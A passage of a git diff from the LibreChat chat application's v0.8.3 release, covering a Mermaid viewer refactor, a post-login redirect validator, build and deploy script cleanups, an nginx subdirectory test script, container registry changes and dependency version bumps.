+ if (newX > 0) {
+ newX = 0;
+ }
+ if (newY > 0) {
+ newY = 0;
+ }
+ if (newX < maxX) {
+ newX = maxX;
+ }
+ if (newY < maxY) {
+ newY = maxY;
+ }
+
+ if (newX !== positionX || newY !== positionY) {
+ instance.setTransformState(scale, newX, newY);
+ }
+ }, []);
return (
-
+
{({ zoomIn, zoomOut }) => (
<>
@@ -204,24 +421,22 @@ const MermaidDiagram: React.FC = ({ content }) => {
}}
/>
-
-
zoomIn(0.1)} variant="outline" size="icon">
-
-
-
zoomOut(0.1)}
- variant="outline"
- size="icon"
- >
-
-
-
-
-
+
+
zoomOut(ZOOM_STEP)} title="Zoom out">
+
+
+
{zoomLevel}%
+
zoomIn(ZOOM_STEP)} title="Zoom in">
+
+
+
+
+
+
+
+
+ {copied ? : }
+
>
)}
@@ -242,13 +457,16 @@ export default App = () => (
`);
};
-const mermaidCSS = `
+export const getMermaidFiles = (content: string, isDarkMode = true) => {
+ const mermaidTheme = isDarkMode ? 'dark' : 'neutral';
+ const btnStyles = getButtonStyles(isDarkMode);
+ const bgColor = isDarkMode ? '#212121' : '#FFFFFF';
+ const mermaidCSS = `
body {
- background-color: #282C34;
+ background-color: ${bgColor};
}
`;
-export const getMermaidFiles = (content: string) => {
return {
'diagram.mmd': content || '# No mermaid diagram content provided',
'App.tsx': wrapMermaidDiagram(content),
@@ -262,7 +480,7 @@ import App from "./App";
const root = createRoot(document.getElementById("root"));
root.render(
);
;`),
- '/components/ui/MermaidDiagram.tsx': mermaid,
+ '/components/ui/MermaidDiagram.tsx': buildMermaidComponent(mermaidTheme, bgColor, btnStyles),
'mermaid.css': mermaidCSS,
};
};
diff --git a/client/src/utils/previewCache.ts b/client/src/utils/previewCache.ts
new file mode 100644
index 0000000000..604ce56308
--- /dev/null
+++ b/client/src/utils/previewCache.ts
@@ -0,0 +1,35 @@
+/**
+ * Module-level cache for local blob preview URLs keyed by file_id.
+ * Survives message replacements from SSE but clears on page refresh.
+ */
+const previewCache = new Map
();
+
+export function cachePreview(fileId: string, previewUrl: string): void {
+ const existing = previewCache.get(fileId);
+ if (existing && existing !== previewUrl) {
+ URL.revokeObjectURL(existing);
+ }
+ previewCache.set(fileId, previewUrl);
+}
+
+export function getCachedPreview(fileId: string): string | undefined {
+ return previewCache.get(fileId);
+}
+
+/** Removes the cache entry without revoking the blob (used when transferring between keys) */
+export function removePreviewEntry(fileId: string): void {
+ previewCache.delete(fileId);
+}
+
+export function deletePreview(fileId: string): void {
+ const url = previewCache.get(fileId);
+ if (url) {
+ URL.revokeObjectURL(url);
+ previewCache.delete(fileId);
+ }
+}
+
+export function clearPreviewCache(): void {
+ previewCache.forEach((url) => URL.revokeObjectURL(url));
+ previewCache.clear();
+}
diff --git a/client/src/utils/redirect.ts b/client/src/utils/redirect.ts
new file mode 100644
index 0000000000..22b28d8a15
--- /dev/null
+++ b/client/src/utils/redirect.ts
@@ -0,0 +1,41 @@
+export const REDIRECT_PARAM = 'redirect_to';
+export const SESSION_KEY = 'post_login_redirect_to';
+
+/** Matches `/login` as a full path segment, with optional basename prefix (e.g. `/librechat/login/2fa`) */
+const LOGIN_PATH_RE = /(?:^|\/)login(?:\/|$)/;
+
+/** Validates that a redirect target is a safe relative path (not an absolute or protocol-relative URL) */
+export function isSafeRedirect(url: string): boolean {
+ if (!url.startsWith('/') || url.startsWith('//')) {
+ return false;
+ }
+ const path = url.split('?')[0].split('#')[0];
+ return !LOGIN_PATH_RE.test(path);
+}
+
+/**
+ * Resolves the post-login redirect from URL params and sessionStorage,
+ * cleans up both sources, and returns the validated target (or null).
+ */
+export function getPostLoginRedirect(searchParams: URLSearchParams): string | null {
+ const urlRedirect = searchParams.get(REDIRECT_PARAM);
+ const storedRedirect = sessionStorage.getItem(SESSION_KEY);
+
+ const target = urlRedirect ?? storedRedirect;
+
+ if (storedRedirect) {
+ sessionStorage.removeItem(SESSION_KEY);
+ }
+
+ if (target == null || !isSafeRedirect(target)) {
+ return null;
+ }
+
+ return target;
+}
+
+export function persistRedirectToSession(value: string): void {
+ if (isSafeRedirect(value)) {
+ sessionStorage.setItem(SESSION_KEY, value);
+ }
+}
diff --git a/client/src/utils/scaleImage.ts b/client/src/utils/scaleImage.ts
deleted file mode 100644
index 11e051fbd9..0000000000
--- a/client/src/utils/scaleImage.ts
+++ /dev/null
@@ -1,21 +0,0 @@
-export default function scaleImage({
- originalWidth,
- originalHeight,
- containerRef,
-}: {
- originalWidth?: number;
- originalHeight?: number;
- containerRef: React.RefObject;
-}) {
- const containerWidth = containerRef.current?.offsetWidth ?? 0;
-
- if (containerWidth === 0 || originalWidth == null || originalHeight == null) {
- return { width: 'auto', height: 'auto' };
- }
-
- const aspectRatio = originalWidth / originalHeight;
- const scaledWidth = Math.min(containerWidth, originalWidth);
- const scaledHeight = scaledWidth / aspectRatio;
-
- return { width: `${scaledWidth}px`, height: `${scaledHeight}px` };
-}
diff --git a/client/vite.config.ts b/client/vite.config.ts
index b3f6541ab3..58d4bc98f2 100644
--- a/client/vite.config.ts
+++ b/client/vite.config.ts
@@ -1,22 +1,46 @@
import react from '@vitejs/plugin-react';
-// @ts-ignore
import path from 'path';
-import type { Plugin } from 'vite';
import { defineConfig } from 'vite';
+import { createRequire } from 'module';
+import { VitePWA } from 'vite-plugin-pwa';
import { compression } from 'vite-plugin-compression2';
import { nodePolyfills } from 'vite-plugin-node-polyfills';
-import { VitePWA } from 'vite-plugin-pwa';
+import type { Plugin } from 'vite';
+
+const require = createRequire(import.meta.url);
+
+/**
+ * vite-plugin-node-polyfills uses @rollup/plugin-inject to replace bare globals (e.g. `process`)
+ * with imports like `import process from 'vite-plugin-node-polyfills/shims/process'`. When the
+ * consuming module (e.g. recoil) is hoisted to the monorepo root, Vite 7's ESM resolver walks up
+ * from there and never finds the shims (installed only in client/node_modules). This map resolves
+ * the shim specifiers to absolute paths via CJS require.resolve anchored to the client directory.
+ */
+const NODE_POLYFILL_SHIMS: Record = {
+ 'vite-plugin-node-polyfills/shims/process': require.resolve(
+ 'vite-plugin-node-polyfills/shims/process',
+ ),
+ 'vite-plugin-node-polyfills/shims/buffer': require.resolve(
+ 'vite-plugin-node-polyfills/shims/buffer',
+ ),
+ 'vite-plugin-node-polyfills/shims/global': require.resolve(
+ 'vite-plugin-node-polyfills/shims/global',
+ ),
+};
// https://vitejs.dev/config/
-const backendPort = process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT) || 3080;
-const backendURL = process.env.HOST ? `http://${process.env.HOST}:${backendPort}` : `http://localhost:${backendPort}`;
+const backendPort = (process.env.BACKEND_PORT && Number(process.env.BACKEND_PORT)) || 3080;
+const backendURL = process.env.HOST
+ ? `http://${process.env.HOST}:${backendPort}`
+ : `http://localhost:${backendPort}`;
export default defineConfig(({ command }) => ({
base: '',
server: {
- allowedHosts: process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',') || [],
+ allowedHosts:
+ (process.env.VITE_ALLOWED_HOSTS && process.env.VITE_ALLOWED_HOSTS.split(',')) || [],
host: process.env.HOST || 'localhost',
- port: process.env.PORT && Number(process.env.PORT) || 3090,
+ port: (process.env.PORT && Number(process.env.PORT)) || 3090,
strictPort: false,
proxy: {
'/api': {
@@ -34,6 +58,12 @@ export default defineConfig(({ command }) => ({
envPrefix: ['VITE_', 'SCRIPT_', 'DOMAIN_', 'ALLOW_'],
plugins: [
react(),
+ {
+ name: 'node-polyfills-shims-resolver',
+ resolveId(id) {
+ return NODE_POLYFILL_SHIMS[id] ?? null;
+ },
+ },
nodePolyfills(),
VitePWA({
injectRegister: 'auto', // 'auto' | 'manual' | 'disabled'
@@ -143,7 +173,12 @@ export default defineConfig(({ command }) => ({
if (normalizedId.includes('@dicebear')) {
return 'avatars';
}
- if (normalizedId.includes('react-dnd') || normalizedId.includes('react-flip-toolkit')) {
+ if (
+ normalizedId.includes('react-dnd') ||
+ normalizedId.includes('dnd-core') ||
+ normalizedId.includes('react-flip-toolkit') ||
+ normalizedId.includes('flip-toolkit')
+ ) {
return 'react-interactions';
}
if (normalizedId.includes('react-hook-form')) {
@@ -219,7 +254,10 @@ export default defineConfig(({ command }) => ({
if (normalizedId.includes('framer-motion')) {
return 'framer-motion';
}
- if (normalizedId.includes('node_modules/highlight.js')) {
+ if (
+ normalizedId.includes('node_modules/highlight.js') ||
+ normalizedId.includes('node_modules/lowlight')
+ ) {
return 'markdown_highlight';
}
if (normalizedId.includes('katex') || normalizedId.includes('node_modules/katex')) {
diff --git a/config/deployed-update.js b/config/deployed-update.js
index a95f97bc7b..7ce6eb106d 100644
--- a/config/deployed-update.js
+++ b/config/deployed-update.js
@@ -29,7 +29,7 @@ const shouldRebase = process.argv.includes('--rebase');
execSync('git checkout main', { stdio: 'inherit' });
console.purple('Pulling the latest code from main...');
execSync('git pull origin main', { stdio: 'inherit' });
- } else if (shouldRebase) {
+ } else {
const currentBranch = getCurrentBranch();
console.purple(`Rebasing ${currentBranch} onto main...`);
execSync('git rebase origin/main', { stdio: 'inherit' });
@@ -41,13 +41,16 @@ const shouldRebase = process.argv.includes('--rebase');
execSync(downCommand, { stdio: 'inherit' });
console.purple('Removing all tags for LibreChat `deployed` images...');
- const repositories = ['ghcr.io/danny-avila/librechat-dev-api', 'librechat-client'];
+ const repositories = ['registry.librechat.ai/danny-avila/librechat-dev-api', 'librechat-client'];
repositories.forEach((repo) => {
- const tags = execSync(`sudo docker images ${repo} -q`, { encoding: 'utf8' })
+ const imageRefs = execSync(`sudo docker images ${repo} --format "{{.Repository}}:{{.Tag}}"`, {
+ encoding: 'utf8',
+ })
.split('\n')
- .filter(Boolean);
- tags.forEach((tag) => {
- const removeImageCommand = `sudo docker rmi ${tag}`;
+ .filter(Boolean)
+ .filter((ref) => !ref.includes(''));
+ imageRefs.forEach((imageRef) => {
+ const removeImageCommand = `sudo docker rmi ${imageRef}`;
console.orange(removeImageCommand);
execSync(removeImageCommand, { stdio: 'inherit' });
});
@@ -58,11 +61,14 @@ const shouldRebase = process.argv.includes('--rebase');
console.orange(pullCommand);
execSync(pullCommand, { stdio: 'inherit' });
- let startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d';
+ const startCommand = 'sudo docker compose -f ./deploy-compose.yml up -d';
console.green('Your LibreChat app is now up to date! Start the app with the following command:');
console.purple(startCommand);
console.orange(
"Note: it's also recommended to clear your browser cookies and localStorage for LibreChat to assure a fully clean installation.",
);
console.orange("Also: Don't worry, your data is safe :)");
-})();
+})().catch((err) => {
+ console.error('Update script failed:', err.message);
+ process.exit(1);
+});
diff --git a/config/smart-reinstall.js b/config/smart-reinstall.js
index 18fe689127..f22bb25151 100644
--- a/config/smart-reinstall.js
+++ b/config/smart-reinstall.js
@@ -9,10 +9,9 @@
* Skips npm ci entirely when the lockfile hasn't changed.
*
* Package builds (Turborepo):
- * Turbo hashes each package's source/config inputs, caches build
- * outputs (dist/), and restores from cache when inputs match.
- * Turbo v2 uses a global cache (~/.cache/turbo) that survives
- * npm ci and is shared across worktrees.
+ * Turbo hashes each package's source/config inputs (including the
+ * lockfile), caches build outputs (dist/), and restores from cache
+ * when inputs match. This script delegates entirely to turbo for builds.
*
* Usage:
* npm run smart-reinstall # Smart cached mode
@@ -27,11 +26,8 @@ const fs = require('fs');
const path = require('path');
const { execSync } = require('child_process');
-// Adds console.green, console.purple, etc.
require('./helpers');
-// ─── Configuration ───────────────────────────────────────────────────────────
-
const ROOT_DIR = path.resolve(__dirname, '..');
const DEPS_HASH_MARKER = path.join(ROOT_DIR, 'node_modules', '.librechat-deps-hash');
@@ -42,7 +38,6 @@ const flags = {
verbose: process.argv.includes('--verbose'),
};
-// Workspace directories whose node_modules should be cleaned during reinstall
const NODE_MODULES_DIRS = [
ROOT_DIR,
path.join(ROOT_DIR, 'packages', 'data-provider'),
@@ -53,8 +48,6 @@ const NODE_MODULES_DIRS = [
path.join(ROOT_DIR, 'api'),
];
-// ─── Helpers ─────────────────────────────────────────────────────────────────
-
function hashFile(filePath) {
return crypto.createHash('sha256').update(fs.readFileSync(filePath)).digest('hex').slice(0, 16);
}
@@ -63,8 +56,6 @@ function exec(cmd, opts = {}) {
execSync(cmd, { cwd: ROOT_DIR, stdio: 'inherit', ...opts });
}
-// ─── Dependency Installation ─────────────────────────────────────────────────
-
function checkDeps() {
const lockfile = path.join(ROOT_DIR, 'package-lock.json');
if (!fs.existsSync(lockfile)) {
@@ -97,19 +88,15 @@ function installDeps(hash) {
fs.writeFileSync(DEPS_HASH_MARKER, hash, 'utf-8');
}
-// ─── Turbo Build ─────────────────────────────────────────────────────────────
-
function runTurboBuild() {
const args = ['npx', 'turbo', 'run', 'build'];
if (flags.skipClient) {
args.push('--filter=!@librechat/frontend');
}
-
if (flags.force) {
args.push('--force');
}
-
if (flags.verbose) {
args.push('--verbosity=2');
}
@@ -119,76 +106,41 @@ function runTurboBuild() {
exec(cmd);
}
-/**
- * Fallback for when turbo is not installed (e.g., first run before npm ci).
- * Runs the same sequential build as the original `npm run frontend`.
- */
-function runFallbackBuild() {
- console.orange(' turbo not found — using sequential fallback build\n');
-
- const scripts = [
- 'build:data-provider',
- 'build:data-schemas',
- 'build:api',
- 'build:client-package',
- ];
-
- if (!flags.skipClient) {
- scripts.push('build:client');
+function cleanTurboCache() {
+ console.purple('Clearing Turborepo cache...');
+ try {
+ exec('npx turbo daemon stop', { stdio: 'pipe' });
+ } catch {
+ // daemon may not be running
}
- for (const script of scripts) {
- console.purple(` Running ${script}...`);
- exec(`npm run ${script}`);
+ const localTurboCache = path.join(ROOT_DIR, '.turbo');
+ if (fs.existsSync(localTurboCache)) {
+ fs.rmSync(localTurboCache, { recursive: true });
+ }
+
+ try {
+ exec('npx turbo clean', { stdio: 'pipe' });
+ console.green('Turbo cache cleared.');
+ } catch {
+ console.gray('Could not clear global turbo cache (may not exist yet).');
}
}
-function hasTurbo() {
- const binDir = path.join(ROOT_DIR, 'node_modules', '.bin');
- return ['turbo', 'turbo.cmd', 'turbo.ps1'].some((name) => fs.existsSync(path.join(binDir, name)));
-}
-
-// ─── Main ────────────────────────────────────────────────────────────────────
-
(async () => {
const startTime = Date.now();
console.green('\n Smart Reinstall — LibreChat');
console.green('─'.repeat(45));
- // ── Handle --clean-cache ───────────────────────────────────────────────
if (flags.cleanCache) {
- console.purple('Clearing Turborepo cache...');
- if (hasTurbo()) {
- try {
- exec('npx turbo daemon stop', { stdio: 'pipe' });
- } catch {
- // ignore — daemon may not be running
- }
- }
- // Clear local .turbo cache dir
- const localTurboCache = path.join(ROOT_DIR, '.turbo');
- if (fs.existsSync(localTurboCache)) {
- fs.rmSync(localTurboCache, { recursive: true });
- }
- // Clear global turbo cache
- if (hasTurbo()) {
- try {
- exec('npx turbo clean', { stdio: 'pipe' });
- console.green('Turbo cache cleared.');
- } catch {
- console.gray('Could not clear global turbo cache (may not exist yet).');
- }
- } else {
- console.gray('turbo not installed — nothing to clear.');
- }
-
+ cleanTurboCache();
if (!flags.force) {
return;
}
}
- // ── Step 1: Dependencies ───────────────────────────────────────────────
+ // Step 1: Dependencies
console.purple('\n[1/2] Checking dependencies...');
if (flags.force) {
@@ -208,16 +160,10 @@ function hasTurbo() {
}
}
- // ── Step 2: Build packages ─────────────────────────────────────────────
+ // Step 2: Build via Turborepo
console.purple('\n[2/2] Building packages...');
+ runTurboBuild();
- if (hasTurbo()) {
- runTurboBuild();
- } else {
- runFallbackBuild();
- }
-
- // ── Done ───────────────────────────────────────────────────────────────
const elapsed = ((Date.now() - startTime) / 1000).toFixed(1);
console.log('');
console.green('─'.repeat(45));
diff --git a/config/test-subdirectory-setup.sh b/config/test-subdirectory-setup.sh
new file mode 100644
index 0000000000..aafe84ce13
--- /dev/null
+++ b/config/test-subdirectory-setup.sh
@@ -0,0 +1,144 @@
+#!/usr/bin/env bash
+# =============================================================================
+# Test script for verifying subdirectory deployment (e.g., /chat/)
+#
+# Prerequisites:
+# - nginx installed: sudo apt install nginx
+# - LibreChat built: npm run build
+# - Backend running: npm run backend (serves built SPA + API on port 3080)
+#
+# Usage:
+# 1. Build + start: npm run build && npm run backend
+# 2. Run this script: bash config/test-subdirectory-setup.sh start
+# 3. Open browser: http://localhost:8080/chat/
+# 4. Cleanup: bash config/test-subdirectory-setup.sh stop
+#
+# What to verify:
+# - Accessing http://localhost:8080/chat/ should redirect to /chat/login
+# (NOT /chat/chat/login)
+# - After login, navigating to protected routes should work
+# - Logging out and being redirected should not double the path
+# =============================================================================
+
+set -euo pipefail
+
+REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)"
+NGINX_CONF="/tmp/librechat-subdir-test-nginx.conf"
+NGINX_PID="/tmp/librechat-subdir-test-nginx.pid"
+
+ENV_FILE="${REPO_ROOT}/.env"
+
+write_nginx_conf() {
+ cat > "$NGINX_CONF" << 'NGINX'
+worker_processes 1;
+pid /tmp/librechat-subdir-test-nginx.pid;
+error_log /tmp/librechat-subdir-test-nginx-error.log warn;
+
+events {
+ worker_connections 64;
+}
+
+http {
+ access_log /tmp/librechat-subdir-test-nginx-access.log;
+
+ map $http_upgrade $connection_upgrade {
+ default upgrade;
+ '' close;
+ }
+
+ server {
+ listen 8080;
+ server_name localhost;
+
+ # Subdirectory proxy: strip /chat/ prefix and forward to backend
+ location /chat/ {
+ proxy_pass http://127.0.0.1:3080/;
+ proxy_http_version 1.1;
+ proxy_set_header Upgrade $http_upgrade;
+ proxy_set_header Connection $connection_upgrade;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header X-Forwarded-Proto $scheme;
+ proxy_cache_bypass $http_upgrade;
+ }
+
+ # Redirect bare /chat to /chat/
+ location = /chat {
+ return 301 /chat/;
+ }
+ }
+}
+NGINX
+}
+
+start() {
+ echo "--- Setting up subdirectory test environment ---"
+
+ # Backup .env if it exists and doesn't have our marker
+ if [ -f "$ENV_FILE" ] && ! grep -q '## SUBDIR_TEST_MARKER' "$ENV_FILE"; then
+ cp "$ENV_FILE" "${ENV_FILE}.bak-subdir-test"
+ echo "Backed up .env to .env.bak-subdir-test"
+ fi
+
+ # Ensure DOMAIN_CLIENT and DOMAIN_SERVER are set for subdirectory
+ if ! grep -q 'DOMAIN_CLIENT=http://localhost:8080/chat' "$ENV_FILE" 2>/dev/null; then
+ echo ""
+ echo "You need to set these in your .env file:"
+ echo " DOMAIN_CLIENT=http://localhost:8080/chat"
+ echo " DOMAIN_SERVER=http://localhost:8080/chat"
+ echo ""
+ echo "Then restart the backend: npm run backend"
+ echo ""
+ fi
+
+ # Write and start nginx
+ write_nginx_conf
+ echo "Starting nginx on port 8080 with subdirectory /chat/ ..."
+
+ # Stop any existing test nginx
+ if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then
+ nginx -c "$NGINX_CONF" -s stop 2>/dev/null || true
+ sleep 1
+ fi
+
+ nginx -c "$NGINX_CONF"
+ echo "nginx started (PID: $(cat "$NGINX_PID" 2>/dev/null || echo 'unknown'))"
+ echo ""
+ echo "=== Test URLs ==="
+ echo " Main: http://localhost:8080/chat/"
+ echo " Login: http://localhost:8080/chat/login"
+ echo " Expect: Redirects should go to /chat/login, NOT /chat/chat/login"
+ echo ""
+ echo "=== Logs ==="
+ echo " Access: /tmp/librechat-subdir-test-nginx-access.log"
+ echo " Error: /tmp/librechat-subdir-test-nginx-error.log"
+ echo ""
+ echo "Run '$0 stop' to clean up."
+}
+
+stop() {
+ echo "--- Cleaning up subdirectory test environment ---"
+
+ if [ -f "$NGINX_PID" ] && kill -0 "$(cat "$NGINX_PID")" 2>/dev/null; then
+ nginx -c "$NGINX_CONF" -s stop
+ echo "nginx stopped."
+ else
+ echo "nginx not running."
+ fi
+
+ rm -f "$NGINX_CONF" /tmp/librechat-subdir-test-nginx-*.log
+
+ if [ -f "${ENV_FILE}.bak-subdir-test" ]; then
+ echo "Restore .env backup: cp ${ENV_FILE}.bak-subdir-test ${ENV_FILE}"
+ fi
+}
+
+case "${1:-}" in
+ start) start ;;
+ stop) stop ;;
+ *)
+ echo "Usage: $0 {start|stop}"
+ exit 1
+ ;;
+esac
diff --git a/deploy-compose.yml b/deploy-compose.yml
index 040783b0b0..968768b818 100644
--- a/deploy-compose.yml
+++ b/deploy-compose.yml
@@ -4,7 +4,7 @@ services:
# context: .
# dockerfile: Dockerfile.multi
# target: api-build
- image: ghcr.io/danny-avila/librechat-dev-api:latest
+ image: registry.librechat.ai/danny-avila/librechat-dev-api:latest
container_name: LibreChat-API
ports:
- 3080:3080
@@ -53,7 +53,7 @@ services:
command: mongod --noauth
meilisearch:
container_name: chat-meilisearch
- image: getmeili/meilisearch:v1.12.3
+ image: getmeili/meilisearch:v1.35.1
restart: always
# ports: # Uncomment this to access meilisearch from outside docker
# - 7700:7700 # if exposing these ports, make sure your master key is not the default value
@@ -63,7 +63,7 @@ services:
- MEILI_HOST=http://meilisearch:7700
- MEILI_NO_ANALYTICS=true
volumes:
- - ./meili_data_v1.12:/meili_data
+ - ./meili_data_v1.35.1:/meili_data
vectordb:
image: pgvector/pgvector:0.8.0-pg15-trixie
environment:
@@ -74,7 +74,7 @@ services:
volumes:
- pgdata2:/var/lib/postgresql/data
rag_api:
- image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest
+ image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest
environment:
- DB_HOST=vectordb
- RAG_PORT=${RAG_PORT:-8000}
diff --git a/docker-compose.override.yml.example b/docker-compose.override.yml.example
index 8c8aba9ed0..490436eb97 100644
--- a/docker-compose.override.yml.example
+++ b/docker-compose.override.yml.example
@@ -17,7 +17,7 @@
# - type: bind
# source: ./librechat.yaml
# target: /app/librechat.yaml
-# image: ghcr.io/danny-avila/librechat:latest
+# image: registry.librechat.ai/danny-avila/librechat:latest
# ---------------------------------------------------
@@ -39,19 +39,19 @@
# # BUILD FROM LATEST IMAGE
# api:
-# image: ghcr.io/danny-avila/librechat-dev:latest
+# image: registry.librechat.ai/danny-avila/librechat-dev:latest
# # BUILD FROM LATEST IMAGE (NUMBERED RELEASE)
# api:
-# image: ghcr.io/danny-avila/librechat:latest
+# image: registry.librechat.ai/danny-avila/librechat:latest
# # BUILD FROM LATEST API IMAGE
# api:
-# image: ghcr.io/danny-avila/librechat-dev-api:latest
+# image: registry.librechat.ai/danny-avila/librechat-dev-api:latest
# # BUILD FROM LATEST API IMAGE (NUMBERED RELEASE)
# api:
-# image: ghcr.io/danny-avila/librechat-api:latest
+# image: registry.librechat.ai/danny-avila/librechat-api:latest
# # ADD SAML CERT FILE
# api:
@@ -104,7 +104,7 @@
# # USE RAG API IMAGE WITH LOCAL EMBEDDINGS SUPPORT
# rag_api:
-# image: ghcr.io/danny-avila/librechat-rag-api-dev:latest
+# image: registry.librechat.ai/danny-avila/librechat-rag-api-dev:latest
# # For Linux user:
# extra_hosts:
# - "host.docker.internal:host-gateway"
diff --git a/docker-compose.yml b/docker-compose.yml
index 8df3044530..079cdb74b6 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -9,7 +9,7 @@ services:
depends_on:
- mongodb
- rag_api
- image: ghcr.io/danny-avila/librechat-dev:latest
+ image: registry.librechat.ai/danny-avila/librechat-dev:latest
restart: always
user: "${UID}:${GID}"
extra_hosts:
@@ -37,7 +37,7 @@ services:
command: mongod --noauth
meilisearch:
container_name: chat-meilisearch
- image: getmeili/meilisearch:v1.12.3
+ image: getmeili/meilisearch:v1.35.1
restart: always
user: "${UID}:${GID}"
environment:
@@ -45,7 +45,7 @@ services:
- MEILI_NO_ANALYTICS=true
- MEILI_MASTER_KEY=${MEILI_MASTER_KEY}
volumes:
- - ./meili_data_v1.12:/meili_data
+ - ./meili_data_v1.35.1:/meili_data
vectordb:
container_name: vectordb
image: pgvector/pgvector:0.8.0-pg15-trixie
@@ -58,7 +58,7 @@ services:
- pgdata2:/var/lib/postgresql/data
rag_api:
container_name: rag_api
- image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest
+ image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest
environment:
- DB_HOST=vectordb
- RAG_PORT=${RAG_PORT:-8000}
diff --git a/e2e/jestSetup.js b/e2e/jestSetup.js
index 8516cf233c..64c1a8546f 100644
--- a/e2e/jestSetup.js
+++ b/e2e/jestSetup.js
@@ -1,3 +1,3 @@
-// v0.8.3-rc1
+// v0.8.3
// See .env.test.example for an example of the '.env.test' file.
require('dotenv').config({ path: './e2e/.env.test' });
diff --git a/helm/librechat-rag-api/Chart.yaml b/helm/librechat-rag-api/Chart.yaml
index cc382f0501..7eaa0e355d 100755
--- a/helm/librechat-rag-api/Chart.yaml
+++ b/helm/librechat-rag-api/Chart.yaml
@@ -21,7 +21,7 @@ version: 0.5.3
# follow Semantic Versioning. They should reflect the version the application is using.
# It is recommended to use it with quotes.
-# renovate: image=ghcr.io/danny-avila/librechat-rag-api-dev
+# renovate: image=registry.librechat.ai/danny-avila/librechat-rag-api-dev
appVersion: "v0.4.0"
home: https://www.librechat.ai
diff --git a/helm/librechat-rag-api/values.yaml b/helm/librechat-rag-api/values.yaml
index 3e1b61208a..be480d44c5 100755
--- a/helm/librechat-rag-api/values.yaml
+++ b/helm/librechat-rag-api/values.yaml
@@ -9,7 +9,7 @@ rag:
image:
repository: danny-avila/librechat-rag-api-dev-lite # there is rag-api-dev and rag-api-dev-lite. currently only lite is docuimented
- registry: ghcr.io
+ registry: registry.librechat.ai
pullPolicy: IfNotPresent
# Overrides the image tag whose default is the chart appVersion.
tag: latest
diff --git a/helm/librechat/Chart.yaml b/helm/librechat/Chart.yaml
index 2625956344..a2dff261c7 100755
--- a/helm/librechat/Chart.yaml
+++ b/helm/librechat/Chart.yaml
@@ -15,15 +15,15 @@ type: application
# This is the chart version. This version number should be incremented each time you make changes
# to the chart and its templates, including the app version.
# Versions are expected to follow Semantic Versioning (https://semver.org/)
-version: 1.9.8
+version: 2.0.0
# This is the version number of the application being deployed. This version number should be
# incremented each time you make changes to the application. Versions are not expected to
# follow Semantic Versioning. They should reflect the version the application is using.
# It is recommended to use it with quotes.
-# renovate: image=ghcr.io/danny-avila/librechat
-appVersion: "v0.8.3-rc1"
+# renovate: image=registry.librechat.ai/danny-avila/librechat
+appVersion: "v0.8.3"
home: https://www.librechat.ai
diff --git a/helm/librechat/values.yaml b/helm/librechat/values.yaml
index a4c877d64d..1dbacbe89d 100755
--- a/helm/librechat/values.yaml
+++ b/helm/librechat/values.yaml
@@ -118,7 +118,7 @@ librechat-rag-api:
image:
repository: danny-avila/librechat
- registry: ghcr.io
+ registry: registry.librechat.ai
pullPolicy: IfNotPresent
# Overrides the image tag whose default is the chart appVersion.
tag: ""
diff --git a/librechat.example.yaml b/librechat.example.yaml
index 55089fc582..03bb5f5bc2 100644
--- a/librechat.example.yaml
+++ b/librechat.example.yaml
@@ -2,7 +2,7 @@
# https://www.librechat.ai/docs/configuration/librechat_yaml
# Configuration version (required)
-version: 1.3.4
+version: 1.3.6
# Cache settings: Set to true to enable caching
cache: true
diff --git a/package-lock.json b/package-lock.json
index 62af363289..45f737ad8f 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,12 +1,12 @@
{
"name": "LibreChat",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "LibreChat",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"license": "ISC",
"workspaces": [
"api",
@@ -16,7 +16,7 @@
"devDependencies": {
"@axe-core/playwright": "^4.10.1",
"@eslint/compat": "^1.2.6",
- "@eslint/eslintrc": "^3.3.1",
+ "@eslint/eslintrc": "^3.3.4",
"@eslint/js": "^9.20.0",
"@playwright/test": "^1.56.1",
"@types/react-virtualized": "^9.22.0",
@@ -40,13 +40,13 @@
"lint-staged": "^15.4.3",
"prettier": "^3.5.0",
"prettier-plugin-tailwindcss": "^0.6.11",
- "turbo": "^2.8.7",
+ "turbo": "^2.8.12",
"typescript-eslint": "^8.24.0"
}
},
"api": {
"name": "@librechat/backend",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"license": "ISC",
"dependencies": {
"@anthropic-ai/vertex-sdk": "^0.14.3",
@@ -59,13 +59,14 @@
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.50",
+ "@librechat/agents": "^3.1.56",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.26.0",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
+ "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
@@ -78,10 +79,10 @@
"eventsource": "^3.0.2",
"express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.2.1",
+ "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
- "file-type": "^18.7.0",
+ "file-type": "^21.3.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
"handlebars": "^4.7.7",
@@ -95,13 +96,14 @@
"klona": "^2.0.6",
"librechat-data-provider": "*",
"lodash": "^4.17.23",
+ "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
